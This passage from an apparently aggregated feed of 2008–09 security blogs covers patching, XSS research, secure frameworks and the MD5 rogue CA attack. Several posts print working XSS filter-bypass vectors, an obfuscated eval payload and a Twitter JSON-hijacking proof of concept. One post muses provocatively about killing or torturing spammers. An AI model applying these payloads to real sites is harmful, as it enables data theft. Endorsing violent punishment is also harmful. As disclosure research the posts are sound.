However, these are the problem in the case of some of the best patches out there. But the software stack deployed on your average desktop, let alone across the organisation is far more complex, and most third-party vendors haven't gotten their patch process up to the same level as Microsoft. Even if they have, they often come with their own seperate infrastructure that many organisations are disincentivised to duplicate, and this isn't likely to get better any time soon. There are great tools out there to help with this, Lumension and Shavlik for example, however as per the previous paragraph this isn't the sexy sort of problem people want to spend lots of money on, and getting everyone to run Debian, while ideal, is impractical :)

So that's my litany of problems around patching. While quite different from several years ago, much of it remains the same or is just a subtle reformulation. I don't see patching getting better, and I don't see people willing to spend much time (outside of select vendors) to make it better. But the risk remains (and your IPS which you never check anyway won't save you).

The Spanner

Hackvertor now decodes css escapes

Posted: January 16th, 2009, 7:57am CST by Gareth Heyes

Tags: Security [edit]

I posted a vector to the web app sec list because they were discussing expression XSS. Ivan Ristic naturally used Hackvertor to try and decode the vector automatically. But he exposed a bug in the auto decoder. Well it’s now fixed yay! Thanks Ivan. I found a couple of errors in my reg exp syntax and I’ve optimised them much better.

The main problem is that Hackvertor has no way of knowing if the code is octal escapes or css hex escapes because they look identical but the result can be different. Unfortunately I can’t see a way around this and I might have to accept this as a limitation of the auto decoder. Please leave a comment if you can think of anything.

Here it is in action:-
Auto decoder

ha.ckers.org web application security lab

Crime and Punishment

Posted: January 15th, 2009, 2:44pm CST by RSnake

Tags: Random Security [edit]

This post is meant to be overly controversial, but it’s also meant to make people think. Please take that for what it’s worth. My most recent publisher said that I shouldn’t make excuses before I say something, but in this case, I think it’s warranted because it’s a little out there, but I also think it’s a topic worth discussing. Please bear with me.

Looking back in American history, there have been a few significant military losses of recent years. We could easily call Korea a loss, and Vietnam was the worst “police action” in American history. Afghanistan is a tossup, and only time will tell. However, I think there is a perception that there is no way the United States could ever have won those wars. That’s just not true.

The United States has a wide variety of unconventional weapon options and military tactics that it never used. For instance, we never ventured north of a certain line in Vietnam, but only for political reasons. We also never used nuclear, or non-nuclear WMD’s. The United States stockpile of biological, radiological and chemical weapons is unrivaled by any country it has ever gone to war with since WWII. But it never chose to unleash those weapons or pursue those tactics, and ultimately the US lost. But more interestingly, the US chose to lose.

I think this analogy speaks nicely to a computer security problem regarding crime in general. There are a set of options that we as computer security practitioners have at our disposal but we also have chosen not to use them. I would say that in well over three quarters of the attacks that I am aware of, it is trivial to find the person who is responsible for them. Sure, that could change and yes, it’s easy to frame people for crimes they did not commit, but for the moment, let’s just pretend that that statistic was valid.

There are two ends of the spectrum of punishment. On one end we have capital punishment - the ultimate result. It’s pretty much a guarantee that their life of crime is concluded upon their death (barring time delay attacks which are incredibly rare). Most people don’t believe in capital punishment for any purpose other than extreme cases and still I would say there is no clear consensus about when it should be used. However, there is no debate about the finality and clear effects of capital punishment.

On the other end of the extreme we can do absolutely nothing, or worse yet, reward the attacker for their actions in some way. I would argue that more often than not the second is the option we as a security community take. When we are aware of a problem we either do nothing at all because we believe it won’t actually work against our systems, or we block the attackers, under the false premise that that will stop them. In reality it only makes them stronger because they now know how our defenses work, which they can either try to circumvent later or use as knowledge against other targets elsewhere.

Only in the most extreme cases do we actually bother to track down, locate, arrest and prosecute attackers. And even then the penalties are usually only a few years in jail. Most experts believe that jail is not an effective rehabilitation habitat. While it’s admittedly unclear what the effect is on computer criminals, it’s certain that it is not an effective deterrent given how much computer crime occurs.

Now let’s imagine for a moment that we were decide that capital punishment were a reasonable solution to a problem, because it was an actual deterrent. I know people who care a lot more about their life than they do about jail time, so it’s not an unrealistic assumption. Let’s take a small slice of computer crime, that’s considered by almost everyone to be a minimal offense but also highly annoying - spam.

A few years ago a spammer was killed with a hammer. Now let’s say whether by vigilante justice or state sponsorship, once a week a spammer was killed in the same way, as a symbol to all other spammers everywhere - keep it up and you’re going to end up like this. It’s a terrible fiction I’m spinning here, I know, but I honestly believe it would reduce the amount of spam far more than the amount that was generated by the deceased spammers alone. It would actually have the effect most punishment is designed to have - it would be a deterrent. Although, admittedly it’s gruesome and unrealistic.

So on one end of the spectrum we have nothing which is what we are primarily doing now, and on the other a punishment that outweighs the crime. (Technically, we actually are doing something - we are making it less financially viable for the attack to be profitable by reducing the amount of spam that gets through, but we are a long way from succeeding, unfortunately). In the same way that the US wasn’t about to start using thermonuclear weapons in Vietnam and Korea and most likely won’t in Afghanistan either, we as a society aren’t going to start killing spammers at any rate necessary to act as a proper deterrent. Now I told you all of that so that I could get to the real meat of the matter. What is the proper proportionate response to computer crime to act as a deterrent?

There was an interesting section of a book (the title is escaping me as I write this) that described things that were off limits in a pen test. Things like rubber hose cryptanalysis are apparently not allowed during a pen test (although if anyone wants me to beat them up to see if I can get their password out of them, just let me know - I’ll give you a discount too). It’s funny but it’s also true. In the real world that is an option, just not one that many people use.

So things that are typically off the table that we don’t talk about as a real option are things like kidnapping loved ones, extortion, torture, and of course capital punishment. While all real actual options, we have tied our own hands and said we aren’t allowed to use them. We also take other options off the table, like hacking into people who hack into us, DoSing them and so on. We aren’t even allowed to fight back! So the real heart of the matter is what is the right response to a packet bound for your network that intends to do you harm? Should we keep ignoring it or should we instead track the originator to the ends of the planet and enact a gruesome deterrent for the greater good of all humanity?

No, put your gun down, I’m not saying we should go on a spammer killing spree, although I’d be plenty happy to use my rubber hose on them every once in a while. Perhaps instead of killing people we should make it a priority to actually pursue attackers instead of defending ourselves in a reactionary manner. My friend Mike Rothman is fond of saying “REACT FASTER”, but maybe reacting isn’t enough. Maybe we as a society are missing the most important dimension of this whole thing by focusing on reacting instead of going on the offensive.

We actually pursue shoplifters and put them in handcuffs, which in terms of monetary loss can pale in comparison to a computer criminal’s potential. Shoplifting is a relatively petty crime too, yet the consequences are so severe compared to the crime itself and with the wide proliferation of modern loss prevention technology most people don’t shoplift. Maybe if more people were actually forced to face the consequences of their computer crimes all over the world, it would have the effect the laws were intended to have - which is to limit the breadth and scale of the crime itself.

Until something like that happens, I find it difficult to believe we will ever see a real decline in computer crime. I know one thing for certain - what we’re doing now isn’t working.

The Spanner

Sliceya CAPTCHA

Posted: January 15th, 2009, 8:08am CST by Gareth Heyes

Tags: Security [edit]

If you’ve read this blog from the beginning you’ll know I like to write CAPTCHAS. The reason being is that it is a technical challenge to write something that a computer has difficulty reading. I think the Codetcha I wrote a while ago was successful in concept because the code errors would be very difficult for a computer to fix (if random enough). But the Codetcha only catered for technical users

Enter Sliceya! This new CAPTCHA relies on the fact that humans can identify a image or face easier than a computer can. The idea is you assemble slices of a picture in the correct order and type what you think the picture is. To make this hard for the computer to solve the keywords would have to be random enough and the picture should be different each time.

I’ve done a proof of concept which searches the web and brings back images that match the keywords you’ve sent. The picture is then dynamically sliced and you have to solve the puzzle and enter the correct keyword.

I would like to thank Ronald for testing and giving me some excellent suggestions.

Here is the proof of concept. Enjoy!
Sliceya!
Update…
I’ve removed the hint and it now accepts either part of the keyword. For example barac will be accepted even though the spelling is incorrect. Example here:-
Updated sliceya

Crazy javascript

Posted: January 15th, 2009, 2:58am CST by Gareth Heyes

Tags: Security [edit]

I’ve known for a while that the replace function can call native functions in Firefox and IE. It works something like this:-

‘alert(1)’.replace(/.+/,eval)

So the regexp searches for the alert string and passes the result to the eval function which it receives as an argument. But does it stop there? Well no actually. There’s more. Then we can use unicode escapes to encode the string further like so:-

'u0061u006cu0065u0072u0074u0028u0031u0029'.replace(/u0061u006cu0065u0072u0074u0028u0031u0029/,u0065u0076u0061u006c)

Remember javascript and regexp both accept unicode strings, this is interesting because we can double encode the vector like the above. The string contains javascript unicode escapes double encoded and the regular expression contains that string encoded. So that’s gotta be it right? C’mon it’s my blog, I wouldn’t just leave it there…

u0052u0065u0067u0045u0078u0070('u005cu0075u0030u0030u0036u0031u005cu0075u0030u0030u0036u0063u005cu0075u0030u0030u0036u0035u005cu0075u0030u0030u0037u0032u005cu0075u0030u0030u0037u0034u0028u0031u0029')[-1].u0072u0065u0070u006cu0061u0063u0065(u0052u0065u0067u0045u0078u0070('u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0033u0031u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0036u0033u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0036u005cu0075u0030u0030u0033u0035u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0037u005cu0075u0030u0030u0033u0032u005cu0075u0030u0030u0035u0063u005cu0075u0030u0030u0037u0035u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0030u005cu0075u0030u0030u0033u0037u005cu0075u0030u0030u0033u0034u005cu0075u0030u0030u0032u0038u005cu0075u0030u0030u0033u0031u005cu0075u0030u0030u0032u0039'),u0065u0076u0061u006c)

The above uses RegExp and eval both of which are unicode escapes. Because the RegExp constructor is used we can pass a string that becomes decoded by javascript but we can then encode again as unicode regular expressions. [-1] signifies the text from the regular expression constructor we use this to replace.

Having trouble decoding? Well Hackvertor can help:-
[tinyurl.com]

Calling the Array constructor in IE

Posted: January 8th, 2009, 2:53pm CST by Gareth Heyes

Tags: Security [edit]
I had a conversation a while ago on email with Billy Hoffman about how in IE the Array constructor wasn’t called when using [] to create arrays. The question is, was he right? Technically yes but actually no

You see Arrays in JScript are actually objects and not arrays, so trying to overwrite the Array constructor will have no effect. However using the Object constructor does. I found this while hacking away in JSON to create my Twitter POC.

The is a strange quirk which although it technically is the same code it results in different behaviour. Take the following example:-
```
function Object() {
 alert(arguments[0]);
}
([1,2,3]);
```
That doesn’t work but…look at this example:-
```
var Object = function() {
 alert(arguments[0]);
}
([1,2,3]);
```
It works! Yay! Strange but true. Don’t ask how I found this but it was either by fuzzing, playing around in Hackvertor or pure luck
I know what your friends did last summer

Posted: January 7th, 2009, 10:50am CST by Gareth Heyes

Tags: Security [edit]
I did report this to Twitter a few weeks ago, but now that Chris Heilmann has let the cat out of the bag I’ll post my repro now. Basically Twitter JSON security is leaking data, the JSON feeds that are publically available shouldn’t be IMO or at least protected using known methods.

So if you use Twitter a web site can know who you are and who your friends are. Spammers could you this data to automate targeted spamming attacks or maybe automated social engineering, you’re more like to open a email attachment off your friends right?

The attack works by including the JSON data using a script tag on any web site, using setters you can get the data of the JSON feed in every browser except IE (in my testing).
```
<script>
Object.prototype.__defineSetter__('user',function(obj){for(var i in obj) {alert(i + '=' + obj[i]);} });
</script>
<script defer="defer" src=https://twitter.com/statuses/friends_timeline/>
</script>
```
Originally I thought it was a bug in Firefox, that’s why I’ve used Object.prototype and not simply Object but I found a post by Joe Walker which uses a far better technique to grab all the data.

Here is the proof of concept to prove I do know what your friends did last summer:-
twitter json hack
PHPIDS bypass

Posted: January 4th, 2009, 3:28pm CST by Gareth Heyes

Tags: Security [edit]
I haven’t hacked the PHPIDS for a while but David Lindsay (AKA Thornmaker) inspired me. When I say hacked I mean in a good way because finding bypasses helps improve the filters

Here is my vector:-
```
/Please submit the string
to help us make the 
PHPIDS better./,y=('aler
t'),x=this,x=x[y]
x('I cant let you have all the fun thornmaker'),/abc abc
abc abc abc
abc
/,/abc abc
abc abc abc
abc
/
```
Notice the English like text in order to bypass the centrifuge detection. I use backslashes to create strings in order to bypass the regular expressions. “this” refers to the current window and the string alert is passed to the window object which creates a reference to the alert function. It’s worth noting Mario fixed it very quickly so it no longer works. If you want a go and want to come up with your own vector then check out the phpids demo page.

Justice League

Not so Surprising [2,10]

Posted: January 2nd, 2009, 12:52pm CST by jOHN

Tags: Software Security [edit]
In the last entry, I responded to dashboard initiatives and organizations’ attempt to measure. Examples focused on vulnerability-detection because a lot of software security expenditure has as well.

Some practitioners, as well as software security managers, have realized that a focusing only on uncovering the problem won’t get it fixed. They’ve begun to document secure sample code, construct secure-development frameworks, and even harden existing open-source frameworks in order to make secure application development easier. This trend cuts across those IT shops supporting non-software businesses (such as finance, insurance, gaming, and the like) as well as software vendors. Let’s look at the 2nd surprising finding from SAMM data gathering, as published in Gary’s InformIT article:

8. Secure-by-default frameworks can be very helpful, especially if they are presented as middleware classes (but watch out for an over focus on security “stuff”).

Secure-by-default frameworks for aiding in development are absolutely my favorite part of software security. Not only do they make sense as part of any program, they represent an essential corner-turn from a hopeless attempt to keep developers abreast of what they’re doing wrong to the downward push towards the finish line by helping developers release better software. In 2001, plainly sick of documenting and demonstrating the same vulnerabilities over-and-over again in meetings and reports, I begun to talk about, seek money for, and outline what such a framework might look like for use of Servlets in the Java EE platform. Frankly, sometimes it’s just plain easier to describe how to do something correctly than it is to conceive of pen-tests or static analysis rules that will find all instances of vulnerability, some omission, or an incorrect implementation.

But, I’m not the only one that’s been climbing this hill: A broad range of approaches to constructing such frameworks are visible within my own client base.

Some organizations have taken their cue from what the network and host security guys have done in their own spaces. These software security groups see software security as a mapping between vulnerability and the need for control. This drives two sets of behavior:

With regards to the software they build, these organizations tend to strive towards having some central engineering team (or a particular development group) provide a ’security control’ that they can plug in for each vulnerability. This has had two effects in my experience:
1. The ’security framework’ ends up as an amalgam of functions designed in very point-solution fashion. For example OWASP ESAPI’s addCSRFToken() method. (see code)
2. ‘design review’ becomes a checklist activity in which security folk (playing the role of auditor) walk through a list of features they expected to include, such as those API calls described in #1 or at a higher level the inclusion of a particular security package: IE: “You’ve used ClearTrust for authentication–right?”
With regards to the software, infrastructure, and COTS these organizations purchase, they tend to apply a modified checklist (such as #2) during acquisition, and then–in the case in which they’re acquiring a security component itself–add it to the checklist for future reviews.

There are benefits to this level of framework creation/use (namely, it raises awareness of the problem, standardizes solutions making compliance easier to gauge, and does in fact place some useful functionality in the hands of developers they might have otherwise omitted or bumbled themselves).

However, I think this approach misses the mark for several important reasons.

Others build their security frameworks from scratch. Convinced that their organization is different enough to warrant their own unique approach they set to construction. Some organizations cull framework material from ‘centers of excellence’ within their organization: development teams that have already done a great job at something like demanding authentication and invalidating sessions. Others architect the security framework centrally, construct it, and then deploy it mandating development teams integrate with it as they continue otherwise normal maintenance of their apps.

There’s intrinsic benefit and difficulty to a purely bottom-up or top-down approach. If an organization goes purely bottom-up, their difficulty lies in coordinating and architecturally cohering different teams’ widgets into a common framework. The strength they can rely on is buy-in: developers are hard-pressed to complain about what they and their peers have written. The top-down approach lacks buy-in and (at times) practicality, but often enjoys a coherent unified design.

Early in ‘07, I wrote on a model for mixing the two approaches successfully.

Whether executed top-down, bottom-up, or through some compromise, I like this approach better than the one I described above. My biggest issues with it are:
1. It can become a political monster, especially if top-down
2. Being overly unique (ala: “not-invented here” or “I’m a snowflake” pathologies) can be damning
The more top-down an approach is, the more likely developers are to balk at mandates for the framework’s use. “Pfft, but that won’t work the way we built our app.”, they’ll lament. If you hear that, prepare for a deluge of exception forms. ;-)

So, how are people overcoming limitations of an ineffective feature-centric audit-model and the pains suffered from inventing their own framework from scratch? By, “meeting the developer on ‘their side of the river’”, as it was once said to me.

When a developer sits down to write or maintain a web application, they’re doing so within a very rich platform already. The .NET platform has well-integrated set of tools from the webserver up to application-support functionality provided by a single vendor: Microsoft. The Java EE platform focuses on open standards, and as such has a bevy of open-source packages that support the lower-levels of the stack that Sun provides. Simply put: a developer writing a Java EE web app is already conforming to the Servlet framework, if not the Struts, JSF, or some other MVC package. They know the platform’s packages, they’re already using them, and there are tons of great books, tutorials, and examples out there.
This is their side of the river. Demanding they build on top of those packages, but integrate with another package–for the sake of security alone–is folly.

A better answer to creating one’s own security framework–and I’ve seen this in play in more than one organization–is to secure a framework the developers already know. This:
- Maintains current platform design idiom - If Spring is ‘the right design paradigm’–great, you’re using with without having to have invented it;
- Allows consideration of the framework’s threat model - It’s easier to secure a system you know the design/deployment model of, than it is to write ‘the perfect’ security feature in a vacuum;
- Maintains transparency, as best as possible - Those securing the framework can place implementation ‘under the hood’ allowing developers to call functions as normal;
- Moves security ‘lower in the stack’
- Reduces integration points for developers
To me, these advantages are overwhelming. Showing the benefits of faithfully maintaining the underlying framework’s design could be the subject of its own entry entirely and–I feel–places the nail in the coffin of those arguing that security can be represented simply as features. I’ll defer that for now however.

Fixing problems instead of identifying them? Security guys getting traction by helping developers write code and get it out the door faster? Meeting them within the realm of the frameworks they’re already using: hardening their configuration, implementation, and deployment? This works?

Not surprising ;-)
Not so Surprising [1,10]

Posted: December 31st, 2008, 12:14pm CST by jOHN

Tags: Software Security [edit]

Like Ken and Brian I’m pleased that results from this study are getting out there. I recently participated in the OWASP EU Summit, where Pravir and I conducted a session on the maturity model. The session had valuable industry participation.

One of the things I’ve harped on for years now is that experts need to pull their heads up from whatever they’ve gotten so good at doing in the weeds and avail themselves of some of the lessons learned by organizations that have been working on software security themselves. In 2006, I presented on “building one’s own software security group” and one of my first five slides uncovered a dirty little secret–true now as it was then: Fortune 500 security groups often possess more man-power and budget than security security consultancies. I see this maturity model study and the response/involvement of the people I’ve mentioned here as a giant step in the public recognition of the value security groups within large commercial entities have been providing.

To follow up on Gary’s InformIT article, I’ll be writing a series of posts on why these “Top 10 surprises” don’t come as a shock to us at Cigital and what it might mean for organizations. I’ll go in reverse order:

9. Not only are there are no magic software security metrics, bad metrics actually hurt.

First, a clarification. Gary’s article indicates that:

but even the most advanced programs don’t use any sort of balanced scorecard approach.

I certainly talk to organizations that rely on a scorecard, especially at the executive level, to report on software security activities. What’s interesting to me is the horror stories organizations tell about chasing the wrong metric. First, they lament how tracking “the wrong thing” motivated unexpected (and undesirable) behavior changes in the staff they were trying to effect. I’ve personally seen things like developers manipulating their code to break static analysis tools, signing a training sign-in sheet then leaving for the day, and vulnerability fixes that cause terrible residual risk (But pass a regression test in the form of a penetration testing exercise). Developers ‘hacking’ the system of control? We shouldn’t be surprised.

In my opinion, organizations charged the scorecard hill too early. They were frustrated with how “Fear-driven” security was but simply didn’t know what underlying measures would raise their visibility into key areas. Just as bad, they didn’t know how to take measurements precisely and inexpensively. I want to explicitly except organizations like GE from this analysis, BTW, as their rich history of scorecard management deserves its own treatment. For information on this, see GE’s presentation at Metricon 2.0.

Though there is often some pretty easy low-hanging fruit, leading organizations have begun to realize that deploying sensors to answer questions about software security spending is trickier than expected. Success involves looking at things on different levels than their budgetary line-items have defined. For instance, people are paying for penetration testing and they may have allotted money for a static analysis tool or code review services (or both). However, to determine and increase the efficiency of their assessment practices, organizations are finding more success with normalizing vulnerability findings reports, tying them back to what detected them, and generating “cost per findings” from there, rather than micro-optimizing each assessment technique itself. In my experience, this causes organizations to shift focus between assessment activities in ways that surprise them, but provide a profoundly cheaper overall assessment cost. As a result, organizations are surprised that a slight resurgence in penetration testing allows them to uncover authentication problems in their web applications more cheaply than the recently more favored static analysis tools are allowing them to. Likewise, simple customization of static analysis tools has allowed them to delete whole swaths of test cases that distracted or bloated their penetration testing efforts. More on this phenomenon can be found in my recent article.

I believe a scorecard will emerge. I believe metrics like “cost per finding” will begin to make sense and provide valuable decision support when organizations further mature the consistent application of their software security practices and realign the things they’re measuring. But, right now, great software security managers are conducting more “under the hood” diagnostics than “roll-up” reporting to increase effectiveness of their groups, reduce their cost, and weather this economic storm. No surprise there ;-)

Dominic White's .tHE pRODUCT

Initial Ideas on How to Detect a Rogue CA Cert

Posted: December 31st, 2008, 3:48am CST

Tags: Security [edit]
Based on Verisign's response here and here (in the comments), they have prevented future attacks, but seem to find the undermining of their PKI for the next several years an acceptable risk versus revoking thousands of certificates at great expense. However, Tim did mention that if they can find a unique characteristic of the bad certs, that would help, here's my attempt.
- The Netscape Comment Block won't conform to the ASN.1 IA5String type. From the paper:
  
  These two problems together ask for a place in the rogue CA certificate to hide 427 bytes of data in, some of which are random looking, and some of which have an interpretation that should not be shown in certificate viewers. The solution we adopted is to define a so called "Netscape Comment" block. This is a proprietary extension in which any data can be stored, which will be ignored by most certificate processing applications, including the major browsers. There is a small problem here in that formally the contents of this field must be of type IA5String, and our content is not of that form. An ASN.1 parser that strictly follows the standard will complain about this, as happens e.g. with Peter Gutmann's program "dumpasn1". But as most application software ignores the extension anyway, the certificate with this standard violating field in it will still be accepted in practice. It is conceivable that the 427 bytes could have been hidden in a different extension field (there is even an X.509 certificate with a movie hidden inside).
  
  This won't work if an end-use cert, such as a website cert is generated instead of a CA cert, as in the former's case the 'tumour' can be hidden in the public key block.
- The signing certificate of the rogue CA will be the wrong one for an intermediary CA, if the CA has set their PKI up properly:
  My reasoning for this, is that if you have (for example) a three tier PKI. With an off-line root CA, and intermediary issuing CA, and end-point signing CAs; then any intermediary CA certs issued should be signed by the middle point in the tier and not the end-point. Once again, this won't work if the rogue cert is a an end-use cert instead of an intermediary CA cert, but this reduces the scope of the attack significantly, as a weekend of burning through 200 Playstation cores will only break one site, instead of allowing a transparent mitm.
- The CA that signed a certificate uses the MD5 hashing algorithm:
  By itself this does not indicate a problem, but combined with the other two factors above, if false, it would allow the cert to be excluded as untrusted.
If these and other factors can be discovered, certificate validation routines can be updated to proactive detect rogue certs based on the current attack (Firefox add-on anyone?). I'm not sure how modifications to the attack will affect these. For example, if MD5 collision attacks become advanced enough to generate collision blocks that are ASN.1 valid, it would be excluded, although it feels like a a significantly big hurdle for it to remain effective.

Michael Howard's Web Log

Free Download: Writing Secure Code for Windows Vista

Posted: December 30th, 2008, 10:07pm CST by michael_HOWARD

Tags: Security [edit]

"For 25 years, Microsoft Press books have focused on helping you take your skills and knowledge to the next level. Celebrate our 25th Anniversary with a "Free E-Book of the Month" offer! Simply sign up for the Microsoft Press Book Connection Newsletter for notification of offers, register, and download the selection of the month."

[csna01.libredigital.com]

:)

Dominic White's .tHE pRODUCT

Using MD5 Collions to Create a Fake CA Certificate

Posted: December 30th, 2008, 11:24am CST

Tags: Security [edit]
The presentation by Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik and Benne de Weger is done. I am busy reading up on it and will post a summary and my thoughts here a bit later. Those are happening real-time on my twitter feed or on the right panel of my blog.
There's already a lot of coverage on this. I'm going to dig into laying blame, and potential geeky solutions for the end user.
The Attack
I need to cover this quick. The below paragraph from the white paper was the one which explained what was being done the best.

Our attack scenario basically is as follows. We request a legitimate website certificate from a commercial Certification Authority trusted by all common browsers. Since the request is legitimate, the CA signs our certificate and returns it to us. We have picked a CA that uses the MD5 hash function to generate the signature of the certificate, which is important because our certificate request has been crafted to result in an MD5 collision with a second certificate. This second certificate is not a website certificate, but an intermediary CA certificate that can be used to sign arbitrary other website certificates we want to issue. Since the MD5 hashes of both the legitimate and the rogue certificates are the same, the digital signature obtained from the commercial CA can simply be copied into our rogue CA certificate and it will remain valid.

For more detail, you can check these out:
- Detailed explanation
- Slides from the 25c3 presentation
- Demo site (set your system date to August 2004 before clicking)
Blame
At first, the fault of this attack lies with the certificate authority vendors who have been using MD5 despite several warnings that it was broken. The fault is also partially with us security guys for not ranting harder about the fact that they were using a known broken protocol. However, this is not the first trouble with CAs, for example in the past it has been possible to get certain trusted and lax CAs to issue fraudulent certificates.

How is it then, that we have companies who's sole job is to make sure people are who they say they are and own what they say they do and represent that in the beauty of mathematical cryptographic certainty get one, or the other or both of these wrong?

We have standards and audit procedures for CA's, to name a few (courtesy of Mozilla's CA inclusion policy):
- Annex B, "(Normative) Certification Authority Control Objectives", of ANSI X9.79-1:2001, Part 1: PKI Practices and Policy Framework;
- Clause 7, "Requirements on CA practice", in ETSI TS 101 456 V1.2.1 (2002-04) or later version, Policy requirements for certification authorities issuing qualified certificates (as applicable to either the "QCP public" or "QCP public + SSCD" certificate policies);
- Clause 7, "Requirements on CA practice", in ETSI TS 102 042 V1.1.1 (2002-04) or later version, Policy requirements for certification authorities issuing public key certificates (as applicable to any of the "NCP", "NCP+", or "LCP" certificate policies);
- "WebTrust Principles and Criteria for Certification Authorities" in AICPA/CICA WebTrust Program for Certification Authorities, Version 1.0; or
- "WebTrust for Certification Authorities—Extended Validation Audit Criteria" in WebTrust for Certification Authorities—Extended Validation Audit Criteria (or, for CA requests received on or before June 30, 2008, the November 20, 2006 draft of these criteria) (in conjunction with "WebTrust Principles and Criteria for Certification Authorities").
Let's take Thawte as an example, since they were started by a South African and were fingered in the talk today as one of the vendors who are still using MD5 signing. They are audited annually against the WebTrust Program for Certification Authorities by KPMG. The report for 2007 can be found here, and the certificate here (RapidSSL's is here, both RapidSSL and Thawte are owned by Verisign). Both the reports come out clean. So either the auditors missed this, or the standard doesn't check things as basic as the hashing algorithm. A quick check of the standard makes no specific mention of the hashing algorithm, but generically refers to encryption algorithms as needing to meet the relevant criteria based on a "risk assessment and the business requirements of the CA." Given that no properly conducted risk assesment would highlight MD5 as acceptable, it can be assumed the risk assesment was not proper. So every year since MD5 has been highlighted as broken, the auditors have failed to notice this problem. This slips neatly through the accountability gaps it seems. In the end, here's my blame list in order of decreasing severity:
1. The CAs - it's their business and they need to proactivley secure it, especially when public warning of problems have been given.
2. The auditors - they're paid to validate what the CA is doing, and have specifically reviewed and signed off on the key management practises of most of the affected CAs.
3. WebTrust - a certificate standard needs to be more specific about something as fundamental as a hashing algorithm, and ideally proactivley highlight the risk of MD5 to the CAs and auditors.
4. Every security guy who has received an MD5 generated cert hash and never gone further than thinking "Isn't MD5 broken?" (I'm one of them.)
Solution
There are a bunch of hard, kak, solutions that the CA need to work with. Certificate Revocation Lists aren't implemented well, and at most will provide a reactive solution in cases where malicious activity is uncovered, much like anti-virus :) I'm not going to get into those.

For the rest of us, we need to trust CAs much less. Not just until the affected CAs move away from MD5, but until the root certs stored in your applications (like your web browser) expire and are changed. This is because the rouge intermediary CA certs will look legit as long as those are. Even then, I don't trust CA's much. I already suggest that in some cases previous to this bug, that certs should be treated like SSH keys. This require evaluating each certificate and trusting it specifically. An easy way to do that beyond having their fingerprints tatoo'ed on your arm is to use the Petnames's add-on for Firefox. The first time you visit a website using SSL that you need to be secure, examine the certificate, if if looks legit, assign it a petname by typing it into the petnames toolbar. Then make sure whenever you visit the site that the petname is displayed. If the petname stops being displayed, try and work out if the previous cert has expired or been legitimately replaced, if not, then it could be a man-in-the-middle attack. A few of the way I recommend checking whether a cert is valid are (in order of usefulness):
1. Check that the URL you're at is the right one. If you want to be a standardbank.co.za make sure there isn't anything else after the za.
2. Make sure all the usual requirements for validity are met. The easiest way to do this is to make sure your browser doesn't pop up any warnings (I'm talking about banks not this site :) ).
3. Check if a user on another computer, using a seperate internet link is presented with the same certificate (double click the lock icon and check the fingerprints).
4. The certificate has been the same for the past couple months/years (this is part of the ongoing observation, rather than the initial).
5. Check that the companies listed in the cert are what are expected, I put this last for a reason.
Apart from (4) this is a once off evaluation that can then be looked after by your petname. It's also something you can install for your non-techie mother and teach her to follow fairly easily: "If this is ever not green or not saying Standard Bank, then phone me."

That's all for now.
OpenVAS & Metasploit

Posted: December 28th, 2008, 4:06pm CST

Tags: Security [edit]

hdm just posted a graphic on his twitter feed of an OpenVAS client talking to a Metasploit server. This is pretty cool, and the possibility of integrating Nessus OpenVAS at the NASL NVT level (assuming that's what's happening) gives a good reason for greater adoption of the OpenVAS project.

Disenchant's Blog

Certified Secure Web

Posted: December 25th, 2008, 1:29pm CST by Disenchant

Tags: Security [edit]

Hi everyone out there, I know that it was a long time since I wrote my last blog posting but as most of you know, time is always rare. Anyway, I’ll try to write more in the feature, especially because there is really stuff, I think it’s worth to write about. So today I’d like to talk about one big project, I was involved during about the last year at my workplace at Dreamlab Technologies, it’s the CSW certification.

You might ask yourself now: What the hell is CSW? CSW is short for Certified Secure Web, which is a security certification framework for the web. Actually we’ve got two certification types, the CSWT where T is short for Technology which means certification of web applications and we’ve got also a CSWD, which’s thought to stand for Developers. Before I go more into more details, I have to say that the CSW certification framework is thought to be open and not just for Dreamlab Technologies. We’re only a part of the CSW, the real certification is done by an independent party which is in our case a backend, built of educational organizations like for example universities, combined with partners like us. So this is not just poor advertising, we’re really looking for people/companies who’re interested in this all over the world.

Normally I would say, go to [https:], where you can find all the information you need but unfortunately, the site is still only available in German, even if the English version is afaik ready.

So, what is CSW: “Certified Secure Web is an initiative to increase the overall security of web applications and also to provide a certification for Technology (Applications) and Developers.” (A free translation of the text on the CSW website, from German into English). It’s based on the OSSTMM by ISECOM, the Threat Classification of the WASC and on different resources, provided by the OWASP. With these different resources we think, that we can really provide a certification, which is worth the paper it’s printed on, even if we know that also the CSW certification can’t be perfect at all. Something which is also special on CSW is, that we don’t want to say that an application is secure and “hacker safe” (oops, sorry guys ) but we would like to certify a security baseline for web applications and help companies getting a more secure application.

I could go on with this for hours but I think it’s better to write my next two postings directly on CSWT and CSWD because it will say much more on what we’d like to achieve and in which way.

For specific questions or if you’d like to get involved, please just contact me or leave a comment

… and of course merry Christmas and a happy new year

Justice League

Structuring for Strategic Cyber Defense: State of the Nation and What We Can Do

Posted: December 22nd, 2008, 12:02pm CST by jeremy

Tags: Software Security [edit]
I’ve been an organizer of ACSAC in one capacity or another for close to 20 years now, and I’ve managed to attend most years. The conference always meets in early December in a southern US city (2008 in Anaheim, 2009 in Honolulu). This year’s keynote speakers were Sami Saydjari (formerly of NSA and DARPA, and now president of his own consulting company) and Whit Diffie (Distinguished Fellow at Sun, and famous inventor of public key cryptography).

